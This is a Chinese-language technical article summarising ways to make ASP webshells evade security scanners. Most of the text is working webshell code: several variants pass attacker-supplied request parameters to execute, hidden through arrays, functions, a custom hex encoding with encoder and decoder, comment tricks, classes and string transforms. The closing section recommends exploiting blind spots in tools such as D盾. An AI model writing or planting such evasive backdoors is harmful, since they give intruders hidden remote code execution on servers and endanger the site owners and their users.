对于asp免杀webshell的一些总结
字数 557 2025-08-26 22:11:45
ASP免杀WebShell技术总结
0x00 前言
虽然ASP技术已逐渐被淘汰,但在某些遗留系统中仍然存在。本文总结了ASP免杀WebShell的各种技术手段,主要参考了LandGrey的文章思路。
0x01 ASP基础知识
ASP解释器
- 主要解释器:VBScript
ASP注释符号
'单引号REM- 使用VBScript时还可使用
<!-- -->和//
ASP执行函数
EvalExecuteExecuteGlobal
0x02 免杀技术详解
1. 数组技术
基础数组免杀:
<%
dim a(5)
a(0)=request("404")
eXecUTe(a(0))
%>
**循环数组免杀:**
```asp
<%
dim array(1)
dim c
array(1)=request("404")
for each a in array
c = a & ""
next
execute(c)
%>
2. 函数技术
函数调用免杀:
<%
Function b():
b = request("404")
End Function
Function f():
eXecUTe(b())
End Function
f()
%>
3. 加密技术
基础加密免杀:
<%
eXecUTe(gw_jiemi("920022008400D4002200820047003700560057001700560027000200C60016006700560077007600")&"")
function gw_jiemi(text)
const key="gw"
dim str : str=text
dim str1
dim str2 : str2=strreverse(str)
for i=1 to len(str2) step 4
str1=str1 & ChrW(cint("&H" & mid(str2,i,4)))
next
gw_jiemi=mid(str1,len(key)+1,len(str)-len(key))
end function
%>
加密算法:
function gw_jiami(text)
const key="gw"
dim str : str=key & text
dim str1
dim str2
for i=1 to len(str)
str2=hex(AscW(mid(str,i,1)))
for j=1 to 4-len(str2)
str2="0" & str2
next
str1=str1 & str2
next
gw_jiami=strreverse(str1)
end function
4. 注释符技术
简单注释免杀:
<%
a = request("404")
b = a REM a
execute(b)
%>
HTML注释免杀:
<%
<!--
a = request("404")
execute(a)
-->
%>
5. 类技术
基础类免杀:
<%
Class LandGrey
Private Sub Class_Initialize
execute request("404")
End Sub
End Class
Set X = New LandGrey
%>
属性免杀:
<%
Class LandGrey
private str_title
public property let setauthor(str)
execute(str )REM a)
end property
End Class
Set a= New LandGrey
a.setauthor= request("404")
%>
局部变量免杀:
<%
Class LandGrey
private str
Private Sub Class_Initialize
str = ""
End Sub
public property let setauthor(str)
execute(str)
end property
End Class
Set a= New LandGrey
a.setauthor= request("404")
%>
6. 字符串操作技术
基础字符串操作:
<%
a = request("404")
b = Left(a,99999)
execute(b)
%>
大小写转换免杀:
<%
a = request("404")
b = Left(UCase(a),99999)
execute(b)
%>
空字符串连接免杀:
<%
a = request("404")
b = Left(UCase(a)&"",99999)
execute(b)
%>
0x03 总结
ASP免杀WebShell虽然不如PHP灵活,但通过以下技术仍可实现有效免杀:
- 利用数组和循环结构
- 函数封装调用
- 自定义加密算法
- 注释符干扰
- 类与对象技术
- 字符串操作变形
关键点在于:
- 避免直接暴露敏感函数调用
- 使用参数变形和干扰技术
- 利用D盾等安全工具的特性盲区
参考来源:https://xz.aliyun.com/t/2356